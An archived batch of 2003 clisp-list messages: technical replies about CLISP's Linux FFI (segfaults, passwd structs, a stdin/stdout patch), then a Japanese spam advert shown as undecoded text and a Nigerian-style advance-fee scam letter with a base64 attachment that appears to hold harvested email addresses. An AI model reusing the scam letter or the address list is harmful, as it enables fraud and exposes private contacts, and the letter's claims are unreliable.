do is $ rm -rf full && make full ... $ ./clisp -K full and this will recompile only the modules that you changed. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If you're passed on the right, you're in the wrong lane. From sds@gnu.org Tue Apr 01 06:50:33 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190N5t-0004FV-00 for ; Tue, 01 Apr 2003 06:50:33 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out002.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030401145023.BDVA6105.out002.verizon.net@loiso.podval.org>; Tue, 1 Apr 2003 08:50:23 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h31EptTx013954; Tue, 1 Apr 2003 09:51:55 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h31Eptp5013950; Tue, 1 Apr 2003 09:51:55 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] exporting reader functions for slots? References: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D5B@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D5B@G8PQD.blf01.telekom.de> Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [151.203.42.128] at Tue, 1 Apr 2003 08:50:23 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 06:52:06 2003 X-Original-Date: 01 Apr 2003 09:51:55 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE033C5D5B@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] exporting reader functions for slots?" > * Sent on Tue, 1 Apr 2003 14:59:18 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > A:> (linux:fprintf0 linux:stdout "hi") [1]> (linux:fprintf0 linux:stdout "hi") *** - handle_fault error2 ! address = 0xfbad20ca not in [0x6803d8a0,0x68089000) ! SIGSEGV cannot be cured. Fault address = 0xfbad20ca. Segmentation fault > B:FFI[97]> (with-foreign-object (x 'passwd (make-passwd :pw_name "name" :pw_passwd "pw" :pw_uid 1 :pw_gid 2 :pw_gecos "geck" :pw_dir "/root/" :pw_shell "Bourne")) (print (foreign-type x)) (describe x)(foreign-value x)) [17]> (ffi:with-foreign-object (x 'linux:passwd (linux::|MAKE-passwd| :|pw_name| "name" :|pw_passwd| "pw" :|pw_uid| 1 :|pw_gid| 2 :|pw_gecos| "geck" :|pw_dir| "/root/" :|pw_shell| "Bourne")) (print (ffi::foreign-type x)) (describe x)(ffi:foreign-value x)) #(FFI:C-STRUCT LINUX:passwd (:EXTERNAL) #(LINUX::pw_name LINUX::pw_passwd LINUX::pw_uid LINUX::pw_gid LINUX::pw_gecos LINUX::pw_dir LINUX::pw_shell) # FFI:C-STRING FFI:C-STRING FFI:UINT FFI:UINT FFI:C-STRING FFI:C-STRING FFI:C-STRING) # is a foreign variable of foreign type (FFI:C-STRUCT LINUX:passwd (:EXTERNAL) (LINUX::pw_name FFI:C-STRING) (LINUX::pw_passwd FFI:C-STRING) (LINUX::pw_uid FFI:UINT) (LINUX::pw_gid FFI:UINT) (LINUX::pw_gecos FFI:C-STRING) (LINUX::pw_dir FFI:C-STRING) (LINUX::pw_shell FFI:C-STRING)). #S(LINUX:passwd :|pw_name| "name" :|pw_passwd| "pw" :|pw_uid| 1 :|pw_gid| 2 :|pw_gecos| "geck" :|pw_dir| "/root/" :|pw_shell| "Bourne") > #0 0x080b1283 in nls_asciiext_wcstombs (encoding={one_o = 539610993}, > What is your custom:*default-foreign-encoding*? ASCII? [23]> custom:*foreign-encoding* # -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Lottery is a tax on statistics ignorants. MS is a tax on computer-idiots. From sds@gnu.org Tue Apr 01 06:53:27 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190N8h-0005Ra-00 for ; Tue, 01 Apr 2003 06:53:27 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop015.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030401145317.BAKU1728.pop015.verizon.net@loiso.podval.org>; Tue, 1 Apr 2003 08:53:17 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h31EsnTx013963; Tue, 1 Apr 2003 09:54:49 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h31Esn2R013959; Tue, 1 Apr 2003 09:54:49 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] linux FFI: What/where is _IO_stdin/out/err_? References: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D75@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D75@G8PQD.blf01.telekom.de> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [151.203.42.128] at Tue, 1 Apr 2003 08:53:17 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 06:54:27 2003 X-Original-Date: 01 Apr 2003 09:54:49 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE033C5D75@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] linux FFI: What/where is _IO_stdin/out/err_?" > * Sent on Tue, 1 Apr 2003 15:24:54 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > linux:stdin etc. support seems broken I suspect that this mess is similar to errno. > (clisp-2.30): please use CVS head. I created a nightly source snapshot and diffs specifically for you! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux (let ((a "(let ((a %c%s%c)) (format a 34 a 34))")) (format a 34 a 34)) From sds@gnu.org Tue Apr 01 06:54:53 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190NA5-00065z-00 for ; Tue, 01 Apr 2003 06:54:53 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop016.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030401145443.BBCT1833.pop016.verizon.net@loiso.podval.org>; Tue, 1 Apr 2003 08:54:43 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h31EuGTx013972; Tue, 1 Apr 2003 09:56:16 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h31EuFQ8013968; Tue, 1 Apr 2003 09:56:15 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] exporting reader functions for slots? - rant on quality of Linux manpages References: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D39@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D39@G8PQD.blf01.telekom.de> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [151.203.42.128] at Tue, 1 Apr 2003 08:54:43 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 06:55:34 2003 X-Original-Date: 01 Apr 2003 09:56:15 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE033C5D39@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] exporting reader functions for slots? - rant on quality of Linux manpages" > * Sent on Tue, 1 Apr 2003 14:34:51 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam Steingold wrote: > >I cannot check that because even > >(linux::putpwent (linux:getpwent) linux:stdout) > >crashes: > > Here's a rant on random quality of Linux Manpage documentation, as I > happen to experiment a little with Linux (instead of Solaris): linux manpages are considered obsolete. use info (in emacs, xterm or your web browser). -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If I had known that it was harmless, I would have killed it myself. From sds@gnu.org Tue Apr 01 07:06:04 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190NKs-0000Y1-00 for ; Tue, 01 Apr 2003 07:06:02 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out002.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030401150555.BGZT6105.out002.verizon.net@loiso.podval.org>; Tue, 1 Apr 2003 09:05:55 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h31F7STx015328; Tue, 1 Apr 2003 10:07:28 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h31F7SnJ015324; Tue, 1 Apr 2003 10:07:28 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] linux FFI: What/where is _IO_stdin/out/err_? References: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D75@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D75@G8PQD.blf01.telekom.de> Message-ID: Lines: 48 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [151.203.42.128] at Tue, 1 Apr 2003 09:05:55 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 07:07:02 2003 X-Original-Date: 01 Apr 2003 10:07:28 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE033C5D75@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] linux FFI: What/where is _IO_stdin/out/err_?" > * Sent on Tue, 1 Apr 2003 15:24:54 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > linux:stdin etc. support seems broken (clisp-2.30): with the appended patch: [1]> (linux:fprintf0 linux:stdout (format nil "hi~%")) hi 3 [2]> (linux:getpwent) #S(LINUX:passwd :|pw_name| "root" :|pw_passwd| "x" :|pw_uid| 0 :|pw_gid| 0 :|pw_gecos| "root" :|pw_dir| "/root" :|pw_shell| "/bin/bash") [3]> (linux::putpwent (linux:getpwent) linux:stdout) *** - handle_fault error2 ! address = 0x0 not in [0x20228000,0x203673ac) ! SIGSEGV cannot be cured. Fault address = 0x0. Segmentation fault -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Only a fool has no doubts. --- linux.lisp.~1.19.~ 2003-03-29 10:02:55.000000000 -0500 +++ linux.lisp 2003-04-01 09:59:38.000000000 -0500 @@ -1795,12 +1815,9 @@ (defconstant P_tmpdir "/tmp") -(def-c-var _IO_stdin_ (:type c-pointer)) -(def-c-var _IO_stdout_ (:type c-pointer)) -(def-c-var _IO_stderr_ (:type c-pointer)) -(define-symbol-macro stdin _IO_stdin_) -(define-symbol-macro stdout _IO_stdout_) -(define-symbol-macro stderr _IO_stderr_) +(def-c-var stdin (:type c-pointer)) +(def-c-var stdout (:type c-pointer)) +(def-c-var stderr (:type c-pointer)) (def-call-out clearerr (:arguments (fp c-pointer)) (:return-type nil)) (def-call-out fclose (:arguments (fp c-pointer)) (:return-type int)) From info@orient-sky.com Tue Apr 01 08:30:32 2003 Received: from pl563.nas922.te-fukuoka.nttpc.ne.jp ([210.165.111.51] helo=orient-sky.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190OeX-0000wA-00 for ; Tue, 01 Apr 2003 08:30:25 -0800 Received: (from info@localhost) by orient-sky.com (8.11.6/8.11.6) id h31GWXG03536 for clisp-list@lists.sourceforge.net; Wed, 2 Apr 2003 01:32:33 +0900 Message-Id: <200304011632.h31GWXG03536@orient-sky.com> To: clisp-list@lists.sourceforge.net From: =?iso-2022-jp?B?GyRCPlo1ck0tIzUyLyM5QGlLfDFfJUElYyVzJTkbKEI=?= MIME-Version: 1.0 Content-Type: text/plain; charset="iso-2022-jp" Content-Transfer-Encoding: 7bit Subject: [clisp-list] =?iso-2022-jp?B?GyRCISEhIUwkPjVCejktOXAhdiMzMi8xXyRYJE4wbEpiISEhISEhISEhISEhGyhC?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 08:34:40 2003 X-Original-Date: Wed, 2 Apr 2003 01:32:33 +0900 $B!!!!!!!!!!!!!!!!!!!!L$>5Bz9-9p9p!v(B $B!c;v6HZ(B $B6(2q!&%*%j%$%s%H!&$($S$9$d!&J]>ZZkz7t;v6HO"9g2q!R<+<#Bg?CEPO?#9!>#5#69f!S8xG'(B $BEl5~ET!&?7=I(B($BA4?.6(!K!!=BC+!JZ6(2q!K(B $B$40U8+$O(B 03-5458-8163$B>5$j@lMQ(BT.F $B:#8eITMW$NJ}$O(Bhttp://orient-sky.com/deny.htm$B$K$F$*4j$$?=$7>e$2$^$9(B $B(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(B $B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#32/1_$X$N0lJb(B $B!!!!!!!!!y"f"f"f"f"f!z"f"f"f"f"f!y"f"f"f"f"f!z"f"f"f"f"f!y(B $B!zJ]>Z;v6H$KIT67$J$7!&J]>Z$KG:$s$G$$$k?M$O!"B?$$$+$i!#(B3$B@iK|$0$i(B $B!!$$M_$7$$?M$OBgB??t$@$+$i!"<+J,$GJ]>Z8\Ld$K$J$j!"(B2$B2/!"(B3$B2/!"(B5$B2/(B9$B@i(B $BK|1_3MF@Z5r$+$i!&>Z5r$OJ*E*>Z5r!&13$D$-$^$;$s!&qY$5$l$?$/$J$$(B $B?M$O>Z5r$r!*(B $B!!!!!!!z"f"f"f"f"f!y"f"f"f"f"f!z"f"f"f"f"f!y"f"f"f"f!z(B $B!!!!!!!!!!!!!!(B $B!!!!!!!!!!!!!!:#$+$i$G$bCY$/$"$j$^$;$s!*!*(B $B:#$,@d9%$N%A%c%s%9!*IT67$@$+$iDI$$Iw$N!VJ]>Z:_Bp8\Ld!aE9J^IT(B $BMW$N%3%s%S%KE9$N%*!<%J!<$HF1$8!W$K!*>Z5r3NG'>)Ne!">Z5rL5$7$O;v(B $BZ5r$r3NG'$7$F2<$5$$!#(B (I"$B>^6b#1#2#0K|1_%W%i%9(B=$B#7#4#4K|1_(I#$B$N8"Mx$r!*?M?t@hCe=g@)8B$K$D$-!"(B $B;j5^;qNA$r@A5a$7$F$/$@$5$$!*(B $B!!!!!!!!(B $B!!!!!!!!!|(B $B2?;v$b>Z5r$,0lHV$K;vZL@(B $B!!!|(B $B$=$NCf$G$bJ*E*>Z5r$,4V0c$$$J$$$N$O<~CN$NDL$j$G$9!#(B $BJ]>Zkz7t$GJ]>Z$NHa7`$rKI$0;v6H$G$9!#(B $BZ$N@UG$$O$9$Y$?Z$N%j%9%/$O0l@Z$"$j$^$;$s!"$40B?4$r!#(B $B8\Ld8xG'HV9f$r;H$&$N$G$"$J$?$NL>A0$OC/$K$bCN$i$l$:$K=PMh$^$9!#(B $B!|$3$A$i$+$i(B $B!!(Bhttp://orient-sky.com/ $B!!L5NA$N;qNA$4@A5a$G$-$^$9!#(B $B!}8D?M!":_Bp!"7s6H$G!"#22/1_!"#32/1_!"#52/#9@iK|1_$N<}F~Z(B $B!!5rM-$j$^$9!&8+$;$^$9!&2?;v$bqY$5$l$?$/$J$$0Y$K@'Hs!">Z5r$N3NG'(B $B!!!z(B--$B!z(B--$B!~(B--$B!z!!%M%C%H%P%V%k$NJx2u$N8=67!!!z(B--$B!~(B--$B!z(B--$B!~(B $B!|%M%C%H%S%8%M%9$G!V8D?M$NG/<}#5@iK|1_0J2<$NJ}!9!W$O!V6%AhAjj6HpJs$G$9!#(B $B!!@5$K%M%C%H%P%V%k$NJx2u$r>]D'$7$?8=>]$G$9!#(B $B!!%9!<%Q!&E9$G$b!V%G%U%l!W$NGH$GGQ6H!"=L>.$N;~Be$G$9!#(B $B(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(!(B $B!!!!!z(B--$B!~(B--$B!zJ]>Z>Z7tH/9TJ]>Z0z$-Z>Z7t$GJ]>Z$NHa7`$r8*Be$o$j$9$k#1#5Z7t!a>Z7tJ]>Z%5!<%S%9(B $B!W$r>Z$7$F$$$k$N$OF|K\$GM#0l!"Ev(B $BJ]>ZZ>Z7t;v6H!I$O!">&9f!aJ]>Z:_Bp;v(B $B!!6H8\!!Ld!&J]>Z6(2qD9!JE9J^!";vL3=jITMW$N%3%s%S%KE9$N%*!<%J!<$H(B $B!!F1MM!K$O!"!!M=Dj!"4uK>!"L4Ey$r%*!<%P!<$7$?<}F~>Z5r$NM}M3$OC1=c(B $B!!$G$9!#(B $B!!%M%C%H%P%V%k!J<{MW$h$j6!5ku0];}!"IT7J5$BP:v!K$,M_$7$$?M$,!"%P%V%kJx(B $B!!2u#1#2G/0J>e7QB3$7$FA}2C$7$F$$$k$+$i$G$9!#(B $B!}6d9T$N6/@)E*2s<}!"B_$7=B$j!"@=IJ>&IJ$N%G%U%lDc2A3J6%Ah!&J]>Z(B $B!!?M$N:b;::9$72!$5$(!&J]>Z?M:DL3@7pJs!#(B $B!!$=$N$*Lr$KN)$A$?$$!VJ]>Z>Z7t$r!a?M=u$1J]>Z%5!<%S%9>&IJ!W$H$J$k(B $B!!$+$i$G$9!#(B $B!|$3$A$i$+$i(B $B!!(Bhttp://orient-sky.com/ $B!!L5NA$N;qNA$4@A5a$G$-$^$9!#(B $B!!!!(B From jerryma@hknetmail.com Tue Apr 01 09:16:40 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 190PNF-00010F-00 for ; Tue, 01 Apr 2003 09:16:37 -0800 Received: from [195.129.47.2] (port=51841 helo=emztd878.com) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 190PMp-00089p-00 for ; Tue, 01 Apr 2003 09:16:15 -0800 From: "Dr Jerry Mkhalele" Reply-To: jerryma2@hknetmail.com To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM MIME-Version: 1.0 Message-Id: Content-Type: text/plain X-Spam-Status: Yes, hits=9.4 required=7.0 tests=US_DOLLARS_3,US_DOLLARS_2,SUPERLONG_LINE, MIME_MISSING_BOUNDARY,SUBJ_ALL_CAPS,RCVD_IN_BL_SPAMCOP_NET version=2.21 X-Spam-Flag: YES X-Spam-Level: ********* X-Spam-Checker-Version: SpamAssassin 2.21 (devel $Id: SpamAssassin.pm,v 1.92 2002/06/11 03:50:03 hughescr Exp $) X-Spam-Prev-Content-Type: multipart/mixed; boundary="===_SecAtt_000_1fmbhhmcpbdyrm" X-Spam-Report: 9.4 hits, 7 required; * 2.7 -- BODY: Nigerian scam key phrase ($NN,NNN,NNN.NN) * 0.2 -- BODY: Nigerian scam key phrase ($NNN.N m/USDNNN.N m) * -0.4 -- BODY: Contains a line >=199 characters long * 1.5 -- RAW: MIME section missing boundary * 1.9 -- Subject is all capitals * 3.5 -- RBL: Received via a relay in bl.spamcop.net [RBL check: found 2.47.129.195.bl.spamcop.net.] Subject: [clisp-list] EXPECTING YOUR REPLY ASAP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 09:23:01 2003 X-Original-Date: Tue, 1 Apr 2003 18:11:16 -0800 --===_SecAtt_000_1fmbhhmcpbdyrm Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable From =3A DR=2E Jerry Mkhalele Attn =3A OWNER=2C I am DR=2E Jerry Mkhalele=2C Director of Project=2C South Africa Ministry of Mining & Natural Resources=2E I am making this contact with you based on the committee's need for an individual=2Fcompany who is willing to assist us with a solution to a money transfer=2E First and foremost=2C I apologized using this medium to reach you for a transaction=2Fbusiness of this magnitude=2C but this is due to Confidentiality and prompt access reposed on this medium=2E In unfolding this proposal=2C I want to count on you=2C as a respected and honest person to handle this transaction with sincerity=2C trust and confidentiality=2E I have decided to seek a confidential co-operation with you in the execution of the deal described Hereunder for the benefit of all parties and hope you will keep it as a top secret because of the nature ofthis transaction=2E Within the Ministry of Mining and Natural resources where I work as Director of Project Implemention and with the cooperation of four other top officials=2C we have in our possession as overduepayment bills totaling Nine Million=2C Six Hundred Thousand UnitedStates Dollars =28US$9=2C600=2C000=2E=29 which we want to transfer abroad with the assistance and cooperation of a foreign company=2Findividual to receive the said fund on our behalf or a reliable foreign non-company account to receive such funds=2E More so=2C we are handicapped in the circumstances=2C as the South Africa Civil Service Code of Conduct does not allow us to operate offshore account hence your importance in thewhole transaction=2E This amount $9=2E6m represents the balance of the total contract value executed on behalf of my Department by a foreign contracting firm=2C which we the officials over-invoiced deliberately=2E Though the actual contract cost have been paid to the original contractor=2C leaving the balance in the tune of the said amount which we have in principles gotten approval to remit by Key tested Telegraphic Transfer =28K=2ET=2ET=29 to any foreign bank account you will provide by filing in an application through the Ministry of Justice here in South Africa for the transfer of rights and privileges of the former contractor to you=2E I have the authority of my partners involved to propose that should you be willing to assist us in the transaction=2C your share of the sum will be 20% of the $9=2E6 million=2C 70% for us and 5% for taxation and miscellaneous expenses while the remaining 5% will go to charity organizatio=2E The business itself is 100% safe=2C on your part provided you treat it with utmost secrecy and confidentiality=2E Also your area of specialization is not a hindrance to the successful execution of this transaction=2E I have reposed my confidence in you and hope that you will not disappoint me=2E Endeavor to contact me immediately through my email=3A to confirm whether or not you are interested in this deal=2E If you are not=2C it will enable me scout for another foreign partner to carry out this deal=2E I want to assure you that my partners and myself are in a position to make the payment of this claim possible provided you can give us a very strong Assurance and guarantee that our share will be secured and please=2C remember to treat this matter very confidential =2C because we will not comprehend with any form of exposure as we are still in active Government Service =2E Once again=2C remember that time is of great essence in this transaction=2E I wait in anticipation of your fullest co-operation=2E Yours faithfully=2C DR=2E Jerry Mkhalele --===_SecAtt_000_1fmbhhmcpbdyrm Content-Type: application/octet-stream; name="suponew.txt" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="suponew.txt" DQogIA0KY3NoeW5lc0BjcC10ZWwubmV0DQptZXNwaGRAYW9sLmNvbQ0KdGh1ZHNvbkBtaXQuZWR1 DQptbGV2aW5lQGlzci5vcmcNCmNoYXJsZXNvQHZveWFnZXIubmV0DQpiZW5odXNldEBza3lwb2lu dC5jb20NCnBrZWxseUBwb3AuaXNkLm5ldA0Kdm1zbWl0aDFAYW9sLmNvbQ0KaGFqb3JkYW5AZXN1 My5lc3UzLmsxMi5uZS51cw0Kc3BsdW5rZXRAYW9sLmNvbQ0KcHJvY2ttYW5AdHVyYm8ua2Vhbi5l ZHUNCmljZUBjcy51bm0uZWR1DQpqcmpvaG5AbWFydGluLm5kYWsubmV0DQpmZW5peEB0aGVxdWVz dC5uZXQNCnBhdHR0YW1AZXJpbmV0LmNvbQ0KanBvMTA3MDhAYW9sLmNvbQ0KZXNtc0Budy5uZXQN CmJyZWFrb3V0QGNvbXB1c2VydmUuY29tDQpwZWFib2R5QHdheWJhY2suY29tDQp3eGsxMEBwc3Uu ZWR1DQpnY2Zpc2hlcmlzQGFvbC5jb20NCnNreWxvb3BAY2FyaWJlLm5ldA0KY29ubm9yc0BpY2ku bmV0DQpjaGFybGVzdG9uaWRlYXNAaG90bWFpbC5jb20NCmVydi5iYXVtYW5uQGJvZWluZy5jb20N Cmh3aW50ZXJAbGF0dGUubWVtcGhpcy5lZHUNCmNyYWluQGNzci51dGV4YXMuZWR1DQpzYmVsbEBq cGkuY29tDQp1c2FtYXJzbWFuQGFvbC5jb20NCmFsbHJlZHRqQHVidGFuZXQuY29tDQpub2FjaGlz QGhvdG1haWwuY29tDQpqYnVya0BqYnVyay5jb20NCnN0cm9uZ3JvQHdsc3ZheC53dm5ldC5lZHUN Cm9ybG9mZkBjYWUud2lzYy5lZHUNCmZvcnR5NEBzcHJ5bmV0LmNvbQ0KdGF0ZW5vdmFAYW9sLmNv bQ0Kam1lcm1vekBiZHMuZXNjLmVkdS5hcg0KZ3JzaGFpZEBtYXJzYWNhZGVteS5jb20NCmFoYW1p bHRvQG5zdy5iaWdwb25kLm5ldC5hdQ0KYW50b29uQGhvdG1haWwuY29tDQptYXJjQGF0ZXJyYS5j b20NCmNwdWVibGFAY21ldC5uZXQNCmxvcmRvc0BtaXQuZWR1DQpyaGVpZG1hbm5AYW9sLmNvbQ0K bWljaGFlbC5ib3NjaEB3aXdpLnVuaS1yZWdlbnNidXJnLmRlDQpvcG9AcmhpLmhpLmlzDQphbGlu bUBob3RtYWlsLmNvbQ0KcGlycm9AdGluLml0DQpvbml6dWthQGNvbG9yYWRvLmVkdQ0KbWFyc0Bz cGFjZXByb2plY3RzLmNvbQ0KYXJub3V4QHN0cncubGVpZGVudW5pdi5ubA0KanZlZXJtYW5AeWFo b28uY29tDQpraW5fdG95QGhvdG1haWwuY29tDQpwaW90ci5tb3NrYWxAbHVwdXMucGwNCmd1c2V2 QGFuYS5zcGIucnUNCmV2YW5AdGVsZW1lc3NhZ2UuY28uemENCmNzYW5naUBpZGVjbmV0LmNvbQ0K YWhyaXN0b3ZAcHNkLmVzDQpjbGF1ZGUtYWxhaW4ucm90ZW5AaWdibS51bmlsLmNoDQpnYWJyaWVs LmJvcnJ1YXRAaWdibS51bmlsLmNoDQpjaGFyaXR5QGFrY2VjYy5raWV2LnVhDQpzYWdhbkBkaXJj b24uY28udWsNCm16dWJyaW5AYW9sLmNvbQ0KdG9tYmVja2VyQHByaW1hcnkubmV0DQprcmlzdGlu LmsuYm9la2hvZmZAdXMucHdjZ2xvYmFsLmNvbQ0KZ2FyeWFoQGltYWdpbmVlcmluZy11c2EuY29t DQpydXRoQGgyb3Rvbi5mcmVlc2VydmUuY28udWsNCnNlZWRzbWFyc0Bhb2wuY29tDQprbWljaGVl bHNAYW9sLmNvbQ0KYnJpYW5mNTA3MEBhb2wuY29tDQpjY2FyYmVycnlAbWFzc2hpc3Qub3JnDQpt YWpvcmRvbW9AY2hhcHRlcnMubWFyc3NvY2lldHkub3JnDQphcmVzLWNkcm9tQGNoYXB0ZXJzLm1h cnNzb2NpZXR5Lm9yZw0KY3ZhbmNpbEBhb2wuY29tDQpsaXN0LWJAbGlzdHMubWFyc3NvY2lldHku 